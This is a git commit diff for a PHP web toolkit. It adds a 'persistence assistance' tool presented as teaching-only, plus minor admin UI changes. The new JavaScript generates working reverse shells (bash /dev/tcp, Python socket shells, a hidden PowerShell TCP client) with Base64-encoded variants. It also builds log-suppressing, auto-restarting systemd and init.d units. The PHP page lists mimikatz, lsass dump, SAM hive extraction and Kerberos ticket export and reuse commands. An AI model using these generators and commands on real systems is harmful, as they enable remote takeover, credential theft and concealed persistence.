Compare commits

...

2 Commits

Author SHA1 Message Date
5168829c75 新增辅助维权工具 2026-09-06 21:28:28 +08:00
4480a437b0 新增辅助维权工具 2026-09-06 21:27:10 +08:00
5 changed files with 531 additions and 12 deletions

View File

@ -61,7 +61,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$sort = max(0, (int)($_POST['sort'] ?? 0)); $sort = max(0, (int)($_POST['sort'] ?? 0));
$pinned = (isset($_POST['pinned']) && $_POST['pinned'] === '1') ? 1 : 0; $pinned = (isset($_POST['pinned']) && $_POST['pinned'] === '1') ? 1 : 0;
$enabled = (isset($_POST['enabled']) && $_POST['enabled'] === '1') ? 1 : 0; $enabled = (isset($_POST['enabled']) && $_POST['enabled'] === '1') ? 1 : 0;
if ($part === '') { if ($part === '' || $part === '__new__') {
$part = '未分类'; $part = '未分类';
} }
if ($title === '') { if ($title === '') {
@ -202,14 +202,16 @@ admin_topbar('articles');
'summary' => (string)$row['summary'], 'md' => (string)$row['markdown'], 'summary' => (string)$row['summary'], 'md' => (string)$row['markdown'],
'sort' => (int)$row['sort'], 'pinned' => (int)$row['pinned'], 'enabled' => (int)$row['enabled'], 'sort' => (int)$row['sort'], 'pinned' => (int)$row['pinned'], 'enabled' => (int)$row['enabled'],
] : ['id' => 0, 'part' => '未分类', 'title' => '', 'summary' => '', 'md' => '', 'sort' => 0, 'pinned' => 0, 'enabled' => 1]; ] : ['id' => 0, 'part' => '未分类', 'title' => '', 'summary' => '', 'md' => '', 'sort' => 0, 'pinned' => 0, 'enabled' => 1];
// 分区下拉建议(仅列已有分区) // 分区下拉选项:未分类 + 全部已有分区;编辑中的自定义分区自动补充,保证能回显选中
$partSuggest = []; $curPart = trim((string)$cur['part']);
if ($curPart === '') { $curPart = '未分类'; }
$partOptions = ['未分类'];
foreach ($list as $a2) { foreach ($list as $a2) {
$p2 = trim((string)$a2['part']); $p2 = trim((string)$a2['part']);
if ($p2 !== '' && !in_array($p2, $partSuggest, true)) { if ($p2 === '' || $p2 === '未分类') continue;
$partSuggest[] = $p2; if (!in_array($p2, $partOptions, true)) { $partOptions[] = $p2; }
}
} }
if (!in_array($curPart, $partOptions, true)) { array_unshift($partOptions, $curPart); }
?> ?>
<div class="fieldset-card"> <div class="fieldset-card">
<div class="fs-title"><?= $cur['id'] ? '编辑文章 #' . $cur['id'] : '新增文章' ?></div> <div class="fs-title"><?= $cur['id'] ? '编辑文章 #' . $cur['id'] : '新增文章' ?></div>
@ -220,12 +222,14 @@ admin_topbar('articles');
<div class="field-row" style="flex-wrap:wrap"> <div class="field-row" style="flex-wrap:wrap">
<div style="flex:1 1 200px;min-width:160px"> <div style="flex:1 1 200px;min-width:160px">
<label class="fl">分区 / 栏目</label> <label class="fl">分区 / 栏目</label>
<input type="text" name="part" value="<?= he($cur['part']) ?>" placeholder="如:安全研究 / 随笔" list="artPartList"> <select name="part" id="artPartSel">
<datalist id="artPartList"> <?php foreach ($partOptions as $po): ?>
<?php foreach ($partSuggest as $ps): ?> <option value="<?= he($po) ?>"<?= $curPart === $po ? ' selected' : '' ?>><?= he($po) ?></option>
<option value="<?= he($ps) ?>">
<?php endforeach; ?> <?php endforeach; ?>
</datalist> <option value="__new__"> 新建分区…</option>
</select>
<input type="text" id="artPartNew" placeholder="输入新分区名称,回车确认" style="display:none">
<span class="tip" style="display:block;margin-top:4px">可直接下拉选择已有分区;需要新栏目时选「+ 新建分区…」并输入名称后回车。</span>
</div> </div>
<div style="flex:2 1 260px;min-width:200px"> <div style="flex:2 1 260px;min-width:200px">
<label class="fl">文章标题</label> <label class="fl">文章标题</label>
@ -365,6 +369,59 @@ admin_topbar('articles');
xhr.send(fd); xhr.send(fd);
}); });
})(); })();
(function () {
'use strict';
// 分区下拉:选择「+ 新建分区…」时切换为新分区名输入框,回车/失焦确认后回落
var sel = document.getElementById('artPartSel');
var inp = document.getElementById('artPartNew');
var form = (sel && inp) ? sel.closest('form') : null;
if (!sel || !inp || !form) return;
function showSel() {
sel.style.display = '';
inp.style.display = 'none';
}
function acceptNew() {
var v = inp.value.replace(/^\s+|\s+$/g, '');
if (v === '') return false;
var i, found = false;
for (i = 0; i < sel.options.length; i++) {
if (sel.options[i].value === v) { sel.selectedIndex = i; found = true; break; }
}
if (!found) {
var opt = document.createElement('option');
opt.value = v;
opt.text = v;
sel.appendChild(opt);
sel.value = v;
}
inp.value = '';
showSel();
return true;
}
sel.addEventListener('change', function () {
if (sel.value === '__new__') {
sel.style.display = 'none';
inp.style.display = '';
inp.focus();
}
});
inp.addEventListener('keydown', function (ev) {
if (ev.key === 'Enter') {
ev.preventDefault();
if (!acceptNew()) showSel();
}
});
inp.addEventListener('blur', function () {
if (!acceptNew()) showSel();
});
form.addEventListener('submit', function (ev) {
if (sel.value === '__new__' && !acceptNew()) {
ev.preventDefault();
showSel();
sel.focus();
}
});
})();
</script> </script>
</body> </body>
</html> </html>

View File

@ -14,7 +14,7 @@ $pdo = db();
$noteText = setting_get('article_note', ''); $noteText = setting_get('article_note', '');
// 全部可见文章(按 id 稳定取回,分区顺序取各分区首篇 id 序;分区内置顶 → sort → id // 全部可见文章(按 id 稳定取回,分区顺序取各分区首篇 id 序;分区内置顶 → sort → id
$all = $pdo->query('SELECT id, part, title, summary, sort, created_at, updated_at $all = $pdo->query('SELECT id, part, title, summary, pinned, sort, created_at, updated_at
FROM articles WHERE enabled = 1 ORDER BY id ASC')->fetchAll(); FROM articles WHERE enabled = 1 ORDER BY id ASC')->fetchAll();
$rows = []; $rows = [];
$partOrder = []; $partOrder = [];

287
assets/js/persist.js Normal file
View File

@ -0,0 +1,287 @@
/* persist.js
* 1) 反弹 Shell Linux / Windows 目标机生成三组语句每组上为原句下为 Base64 编码可执行版本
* #1 普通反弹bash / PowerShell
* #2 Python 2 反弹
* #3 Python 3 反弹
* 2) Linux 自启服务按执行文件绝对路径生成 systemd unit SysV init.d 脚本
* 均不落盘日志stdout/stderr null且崩溃 3 秒后自动重启
* Windows 辅助区文本框为只读高度随内容自适应不可手动拉伸
* 仅教学辅助默认示例为占位演示值
*/
(function () {
'use strict';
function $(id) { return document.getElementById(id); }
/* ---------- 工具函数 ---------- */
function esc(s) {
return String(s).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}
function basename(p) {
p = String(p || '').replace(/\\/g, '/').replace(/\/+$/, '');
var i = p.lastIndexOf('/');
return i >= 0 ? p.slice(i + 1) : p;
}
function segValue(seg) {
var b = seg.querySelector('button.active');
return b ? b.getAttribute(b.hasAttribute('data-mode') ? 'data-mode' : 'data-plat') : '';
}
function bindSeg(seg, onChange) {
var btns = seg.querySelectorAll('button');
for (var i = 0; i < btns.length; i++) {
btns[i].addEventListener('click', function () {
for (var j = 0; j < btns.length; j++) btns[j].classList.remove('active');
this.classList.add('active');
if (onChange) onChange();
});
}
}
function setMsg(id, html, isErr) {
var box = $(id);
box.innerHTML = html ? '<div class="' + (isErr ? 'err-msg' : 'ok-msg') + '">' + html + '</div>' : '';
}
function b64Ascii(text) { // ASCII → Base64命令本身均为 ASCII
var bin = '';
for (var i = 0; i < text.length; i++) bin += String.fromCharCode(text.charCodeAt(i));
return btoa(bin);
}
function b64Utf16LE(text) { // UTF-16LE → Base64PowerShell -enc 需要)
var bytes = [];
for (var i = 0; i < text.length; i++) {
var c = text.charCodeAt(i);
bytes.push(c & 255, c >> 8);
}
var bin = '';
for (var j = 0; j < bytes.length; j++) bin += String.fromCharCode(bytes[j]);
return btoa(bin);
}
function validIp(ip) {
ip = String(ip || '').trim();
if (!/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(ip)) return false;
var o = ip.split('.');
for (var i = 0; i < 4; i++) { if (+o[i] > 255) return false; }
return true;
}
function validPort(p) {
p = String(p || '').trim();
return /^\d{1,5}$/.test(p) && +p >= 1 && +p <= 65535;
}
/* 文本框高度自适应内容(.auto-ta 禁止手动拉伸) */
function fitAuto() {
var els = document.querySelectorAll('.auto-ta');
for (var i = 0; i < els.length; i++) {
els[i].style.height = 'auto';
els[i].style.height = (els[i].scrollHeight + 2) + 'px';
}
}
/* ---------- 反弹 Shell 生成a=普通 b=py2 c=py3各带 64 编码版) ---------- */
function buildLinux(ip, port) {
var bash = 'bash -i >& /dev/tcp/' + ip + '/' + port + ' 0>&1';
var py2 = 'python2 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
's.connect(("' + ip + '",' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
'subprocess.call(["/bin/sh","-i"])\'';
var py3 = py2.replace('python2', 'python3');
return {
titles: {
a: '#1 普通反弹bash · 现代发行版自带)',
b: '#2 Python 2 反弹python2 · 老版本系统自带)',
c: '#3 Python 3 反弹python3 · 现代发行版自带)'
},
notes: {
a: '▼ 下方为 Base64 编码版还原echo 上方值 | base64 -d | bash',
b: '▼ 下方为 Base64 编码版还原echo 上方值 | base64 -d | python2',
c: '▼ 下方为 Base64 编码版还原echo 上方值 | base64 -d | python3'
},
a: bash, a64: 'echo ' + b64Ascii(bash) + ' | base64 -d | bash',
b: py2, b64: 'echo ' + b64Ascii(py2) + ' | base64 -d | python2',
c: py3, c64: 'echo ' + b64Ascii(py3) + ' | base64 -d | python3'
};
}
function buildWin(ip, port) {
var ps = '$c=New-Object System.Net.Sockets.TCPClient(\'' + ip + '\',' + port + ');' +
'$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' +
'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' +
'$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' +
'$r=(iex $d 2>&1|Out-String);' +
'$s2=([text.encoding]::ASCII).GetBytes($r+\'PS \'+(pwd).Path+\'> \');' +
'$s.Write($s2,0,$s2.Length);$s.Flush()};$c.Close()';
// Python 载荷:代码内部全部使用单引号字符串,便于外层用双引号包裹
function pyCode(sh) {
return 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
's.connect((\'' + ip + '\',' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
'subprocess.call([\'' + sh + '\'])';
}
var code2 = pyCode('cmd.exe');
var code3 = pyCode('cmd.exe');
var orig2 = 'python2 -c "' + code2 + '"';
var orig3 = 'python3 -c "' + code3 + '"';
return {
titles: {
a: '#1 PowerShell 反弹Windows 内置,无需额外组件)',
b: '#2 Python 2 反弹(需目标机已装 python2',
c: '#3 Python 3 反弹(需目标机已装 python3'
},
notes: {
a: '▼ 下方为 Base64 编码版PowerShell -enc规避引号与特殊字符',
b: '▼ 下方为 Base64 编码版python2 -c 内置 base64 解码执行)',
c: '▼ 下方为 Base64 编码版python3 -c 内置 base64 解码执行)'
},
a: 'powershell -nop -w hidden -c "' + ps + '"',
a64: 'powershell -nop -w hidden -enc ' + b64Utf16LE(ps),
b: orig2,
b64: 'python2 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code2) + '\'))"',
c: orig3,
c64: 'python3 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code3) + '\'))"'
};
}
function renderRev() {
var ip = $('revIp').value.trim();
var port = $('revPort').value.trim();
if (!validIp(ip)) { setMsg('revMsg', '请填写正确的监听 IPv4 地址。', true); return; }
if (!validPort(port)) { setMsg('revMsg', '请填写 1-65535 的有效端口。', true); return; }
var g = segValue($('revPlat')) === 'win' ? buildWin(ip, port) : buildLinux(ip, port);
$('revA').value = g.a;
$('revA64').value = g.a64;
$('revB').value = g.b;
$('revB64').value = g.b64;
$('revC').value = g.c;
$('revC64').value = g.c64;
$('revTA').textContent = g.titles.a;
$('revTB').textContent = g.titles.b;
$('revTC').textContent = g.titles.c;
$('revAN').textContent = g.notes.a;
$('revBN').textContent = g.notes.b;
$('revCN').textContent = g.notes.c;
setMsg('revMsg', '', false);
fitAuto();
}
/* ---------- Linux 自启服务生成 ---------- */
function svcName() {
var n = $('lxName').value.trim();
if (n) return n;
return basename($('lxPath').value) || 'agent';
}
function systemdUnit(path, name) {
return '[Unit]\n' +
'Description=' + name + ' service\n' +
'After=network.target\n' +
'\n' +
'[Service]\n' +
'Type=simple\n' +
'ExecStart=' + path + '\n' +
'Restart=always\n' +
'RestartSec=3\n' +
'StandardOutput=null\n' +
'StandardError=null\n' +
'\n' +
'[Install]\n' +
'WantedBy=multi-user.target\n';
}
function initdScript(path, name) {
return '#!/bin/sh\n' +
'### BEGIN INIT INFO\n' +
'# Provides: ' + name + '\n' +
'# Required-Start: $remote_fs\n' +
'# Required-Stop: $remote_fs\n' +
'# Default-Start: 2 3 4 5\n' +
'# Default-Stop: 0 1 6\n' +
'# Short-Description: ' + name + '\n' +
'### END INIT INFO\n' +
'\n' +
'DAEMON="' + path + '"\n' +
'NAME="' + name + '"\n' +
'PIDFILE="/var/run/' + name + '.pid"\n' +
'\n' +
'case "$1" in\n' +
' start)\n' +
' echo "Starting $NAME..."\n' +
' (while :; do "$DAEMON"; sleep 3; done) >/dev/null 2>&1 &\n' +
' echo $! > "$PIDFILE"\n' +
' ;;\n' +
' stop)\n' +
' echo "Stopping $NAME..."\n' +
' if [ -f "$PIDFILE" ]; then\n' +
' KPID=$(cat "$PIDFILE")\n' +
' pkill -P "$KPID" 2>/dev/null\n' +
' kill "$KPID" 2>/dev/null\n' +
' rm -f "$PIDFILE"\n' +
' fi\n' +
' ;;\n' +
' restart)\n' +
' "$0" stop\n' +
' sleep 1\n' +
' "$0" start\n' +
' ;;\n' +
' *)\n' +
' echo "Usage: $0 {start|stop|restart}"\n' +
' exit 1\n' +
' ;;\n' +
'esac\n' +
'exit 0\n';
}
function renderService() {
var path = $('lxPath').value.trim();
var name = svcName();
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
var out = $('lxOut'), tips = $('lxTips');
if (!path) {
out.value = '';
tips.textContent = '请先填写执行文件绝对路径。';
return;
}
if (mode === 'systemd') {
out.value = systemdUnit(path, name);
tips.innerHTML = '安装:将上方内容写入 <code>/etc/systemd/system/' + esc(name) + '.service</code>(需 root然后执行<br>' +
'<code>systemctl daemon-reload && systemctl enable --now ' + esc(name) + '</code><br>' +
'说明:<code>Restart=always</code> 崩溃自动拉起;<code>StandardOutput/StandardError=null</code> 不产生、不落盘日志。';
} else {
out.value = initdScript(path, name);
tips.innerHTML = '安装:将上方脚本写入 <code>/etc/init.d/' + esc(name) + '</code> 并赋予执行权限:<br>' +
'<code>chmod +x /etc/init.d/' + esc(name) + '</code><br>' +
'Debian/Ubuntu低版本注册开机自启<code>update-rc.d ' + esc(name) + ' defaults</code><br>' +
'CentOS/RHEL 旧版注册开机自启:<code>chkconfig --add ' + esc(name) + '</code><br>' +
'启动服务:<code>service ' + esc(name) + ' start</code>(脚本内含崩溃后 3 秒自动拉起的看护循环)。';
}
}
function downloadService() {
var text = $('lxOut').value;
if (!text) return;
var name = svcName();
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
var fn = mode === 'systemd' ? name + '.service' : name;
var blob = new Blob(['\ufeff' + text], { type: 'text/plain;charset=utf-8' });
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = fn;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
setTimeout(function () { URL.revokeObjectURL(url); }, 1500);
}
/* ---------- 事件绑定 ---------- */
bindSeg($('revPlat'), renderRev);
bindSeg($('lxMode'), renderService);
$('revGo').addEventListener('click', renderRev);
$('revPort').addEventListener('keydown', function (ev) {
if (ev.key === 'Enter') renderRev();
});
$('lxPath').addEventListener('input', renderService);
$('lxName').addEventListener('input', renderService);
$('lxGo').addEventListener('click', renderService);
$('lxDown').addEventListener('click', downloadService);
/* 页面载入即展示默认示例(演示占位值)并自适应文本框高度 */
renderRev();
renderService();
fitAuto();
// 窗口宽度变化导致换行变化时重新自适应
var rszT = null;
window.addEventListener('resize', function () {
if (rszT) clearTimeout(rszT);
rszT = setTimeout(fitAuto, 150);
});
})();

174
func/persist.php Normal file
View File

@ -0,0 +1,174 @@
<?php
/**
* func/persist.php —— 辅助维权(教学辅助)
* 仅面向内网教学 / 授权实验环境。三个模块:
* 1) 反弹 Shell 构建:输入监听 IP / 端口,按 Linux / Windows 目标机分别生成三类语句
* (普通反弹 / Python 动态 Shell / Base64 编码版本);
* 2) Windows 辅助SAM、SYSTEM 注册表配置单元提取、mimikatz 常用命令与票据提取参考;
* 3) Linux 自启服务:输入执行文件绝对路径,生成 systemd高版本 init.d低版本
* 可编辑配置,默认不产生 / 不落盘日志且崩溃自动重启。
*/
$P = '../';
require_once dirname(__DIR__) . '/includes/layout.php';
require_once __DIR__ . '/_bar.php';
layout_head('辅助维权');
func_bar('辅助维权');
?>
<style>
.p-sec { margin-top: 16px; }
.p-sec-head { display: flex; align-items: center; justify-content: space-between; gap: 8px; margin-bottom: 6px; }
.p-sec-t { font-weight: 600; font-size: 14px; color: var(--text-2); }
.p-sec textarea, .mono-ta { font-family: Consolas, Menlo, monospace; font-size: 13px; }
.auto-ta { resize: none; overflow: hidden; min-height: 0; height: auto; }
.b64-note { font-size: 12px; color: var(--text-3); margin: 6px 0 4px; }
.p-sec code, .tip code { font-family: Consolas, Menlo, monospace; }
</style>
<main class="page-main">
<div class="wrap page-body">
<div class="panel-card">
<h2>辅助维权 · 教学辅助</h2>
<p class="tip">本工具<b>仅供内网教学 / 授权实验环境使用</b>,请勿用于任何未经授权的真实目标。
三类输出全部在浏览器本地生成:① <b>反弹 Shell 构建</b>Linux / Windows 目标机含普通、Python 动态与 Base64 编码版本);
<b>Windows 辅助</b>SAM / SYSTEM 提取、mimikatz 与常见票据提取参考语句);③ <b>Linux 自启服务</b>systemd / init.d 配置生成,不落盘日志、自动重启)。
示例 IP / 路径仅为演示占位,请替换为实验环境真实值。</p>
</div>
<!-- 1) 反弹 Shell 构建 -->
<div class="panel-card">
<h2>反弹 Shell 构建</h2>
<p class="tip">先在你自己的实验机上执行 <code>nc -lvnp 端口</code> 监听,再按目标机系统生成对应反弹命令在目标机执行。
「IP」填你自己的监听机地址「端口」与监听端口保持一致。</p>
<div class="field-row" style="align-items:center;flex-wrap:wrap">
<div class="seg" id="revPlat">
<button type="button" data-plat="linux" class="active">Linux 目标机</button>
<button type="button" data-plat="win">Windows 目标机</button>
</div>
<input type="text" id="revIp" value="10.0.0.1" placeholder="监听 IP你的实验机" style="flex:0 1 220px;width:220px">
<input type="text" id="revPort" value="4444" placeholder="监听端口" style="flex:0 1 150px;width:150px">
<button type="button" class="btn btn-primary" id="revGo">生成语句</button>
</div>
<div id="revMsg"></div>
<div class="p-sec">
<div class="p-sec-head">
<span class="p-sec-t" id="revTA">#1 普通反弹</span>
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
<button type="button" class="btn btn-sm js-copy" data-target="#revA">复制原句</button>
<button type="button" class="btn btn-sm js-copy" data-target="#revA64">复制 Base64</button>
</span>
</div>
<textarea id="revA" readonly class="mono-ta auto-ta"></textarea>
<div class="b64-note" id="revAN"> 下方为 Base64 编码后的可执行版本</div>
<textarea id="revA64" readonly class="mono-ta auto-ta"></textarea>
</div>
<div class="p-sec">
<div class="p-sec-head">
<span class="p-sec-t" id="revTB">#2 Python 反弹</span>
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
<button type="button" class="btn btn-sm js-copy" data-target="#revB">复制原句</button>
<button type="button" class="btn btn-sm js-copy" data-target="#revB64">复制 Base64</button>
</span>
</div>
<textarea id="revB" readonly class="mono-ta auto-ta"></textarea>
<div class="b64-note" id="revBN"> 下方为 Base64 编码后的可执行版本</div>
<textarea id="revB64" readonly class="mono-ta auto-ta"></textarea>
</div>
<div class="p-sec">
<div class="p-sec-head">
<span class="p-sec-t" id="revTC">#3 Python 反弹</span>
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
<button type="button" class="btn btn-sm js-copy" data-target="#revC">复制原句</button>
<button type="button" class="btn btn-sm js-copy" data-target="#revC64">复制 Base64</button>
</span>
</div>
<textarea id="revC" readonly class="mono-ta auto-ta"></textarea>
<div class="b64-note" id="revCN"> 下方为 Base64 编码后的可执行版本</div>
<textarea id="revC64" readonly class="mono-ta auto-ta"></textarea>
</div>
</div>
<!-- 2) Windows 辅助 -->
<div class="panel-card">
<h2>Windows 辅助(凭据 / 票据提取参考)</h2>
<p class="tip">以下命令均在目标机本地生成与落盘,需以<b>管理员 / SYSTEM 权限</b>执行,结果文件再拷贝到实验分析机解析。</p>
<div class="p-sec">
<div class="p-sec-head">
<span class="p-sec-t">SAM / SYSTEM 配置单元提取</span>
<button type="button" class="btn btn-sm js-copy" data-target="#winHive">复制</button>
</div>
<textarea id="winHive" readonly class="mono-ta auto-ta" rows="7"># 在目标机(需管理员 / SYSTEM当前目录保存注册表配置单元
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
reg save HKLM\SECURITY security
# 将 sam / system 拷贝回实验分析机后离线还原口令哈希:
# secretsdump.py -sam sam -system system LOCAL
# mimikatz.exe "lsadump::sam /system:system /sam:sam" exit</textarea>
</div>
<div class="p-sec">
<div class="p-sec-head">
<span class="p-sec-t">mimikatz 常用提取语句</span>
<button type="button" class="btn btn-sm js-copy" data-target="#winMimi">复制</button>
</div>
<textarea id="winMimi" readonly class="mono-ta auto-ta" rows="6">mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit</textarea>
</div>
<div class="p-sec">
<div class="p-sec-head">
<span class="p-sec-t">常见票据提取方法</span>
<button type="button" class="btn btn-sm js-copy" data-target="#winTicket">复制</button>
</div>
<textarea id="winTicket" readonly class="mono-ta auto-ta" rows="9"># 1) 从内存导出会话票据(.kirbi 写入当前目录)
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
mimikatz.exe "privilege::debug" "kerberos::list /export" exit
# 2) LSASS 转储后离线分析(新版 Windows 建议先转储回分析机再解析)
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
# 3) 注入 / 使用已导出票据
mimikatz.exe "kerberos::ptt 1-40a0000-xxx.kirbi" exit
# 备选 RubeusRubeus.exe dump / triage / kerberoast / asktgt / ptt</textarea>
<p class="tip" style="margin-top:6px">票据提取后可直接用于横向实验;离线解析需要在分析机上准备 mimikatz / impacket 等教学组件。</p>
</div>
</div>
<!-- 3) Linux 自启服务生成 -->
<div class="panel-card">
<h2>Linux 自启服务配置生成</h2>
<p class="tip">输入需要常驻的执行文件<b>绝对路径</b>,切换「高版本 systemd / 低版本 init.d」即时生成对应配置。
生成内容均满足:<b>不产生 / 不落盘日志</b>stdout、stderr 全部丢弃),<b>异常退出自动重启</b>(间隔 3 秒)。输出可在文本框内继续编辑。</p>
<div class="field-row" style="align-items:center;flex-wrap:wrap">
<input type="text" id="lxPath" value="/opt/demo/agent" placeholder="执行文件绝对路径,如 /opt/svc/bin/app" style="flex:2 1 360px">
<input type="text" id="lxName" value="" placeholder="服务名(留空自动取文件名)" style="flex:1 1 220px">
</div>
<div class="field-row" style="margin-top:10px;align-items:center;flex-wrap:wrap">
<div class="seg" id="lxMode">
<button type="button" data-mode="systemd" class="active">高版本 systemd</button>
<button type="button" data-mode="initd">低版本 init.d</button>
</div>
<button type="button" class="btn btn-primary btn-sm" id="lxGo">生成配置</button>
<button type="button" class="btn btn-sm js-copy" data-target="#lxOut">复制</button>
<button type="button" class="btn btn-sm" id="lxDown">下载文件</button>
</div>
<textarea id="lxOut" class="mono-ta" rows="17" style="margin-top:10px" placeholder="生成的配置内容将显示在这里,可继续编辑…"></textarea>
<p class="tip" id="lxTips" style="margin-top:8px"></p>
</div>
</div>
</main>
<?php layout_theme_fab(); ?>
<?php layout_footer(); ?>
<script src="../assets/js/common.js"></script>
<script src="../assets/js/persist.js"></script>
</body>
</html>

View File

@ -187,6 +187,7 @@ function db_init(PDO $pdo): void
$extraTools = [ $extraTools = [
['国密加解密', '🔏', 'SM2 非对称加解密 / SM3 摘要 / SM4 对称加解密SM1 为不公开硬件算法)', 'gmcodec.php'], ['国密加解密', '🔏', 'SM2 非对称加解密 / SM3 摘要 / SM4 对称加解密SM1 为不公开硬件算法)', 'gmcodec.php'],
['IP 地址处理', '🌐', '提取日志中的全部 IPv4 并统计出现次数,再按内网 / CDN / 公网区分展示', 'ip.php'], ['IP 地址处理', '🌐', '提取日志中的全部 IPv4 并统计出现次数,再按内网 / CDN / 公网区分展示', 'ip.php'],
['辅助维权', '🛠️', '反弹 Shell 构建 / Windows SAM·mimikatz·票据提取 / Linux 自启服务systemd 与 init.d', 'persist.php'],
]; ];
$chkUrl = $pdo->prepare('SELECT COUNT(*) FROM func_tools WHERE url = ?'); $chkUrl = $pdo->prepare('SELECT COUNT(*) FROM func_tools WHERE url = ?');
$insTool = $pdo->prepare('INSERT INTO func_tools (name, icon, description, url, is_external, enabled, sort) VALUES (?,?,?,?,0,1,?)'); $insTool = $pdo->prepare('INSERT INTO func_tools (name, icon, description, url, is_external, enabled, sort) VALUES (?,?,?,?,0,1,?)');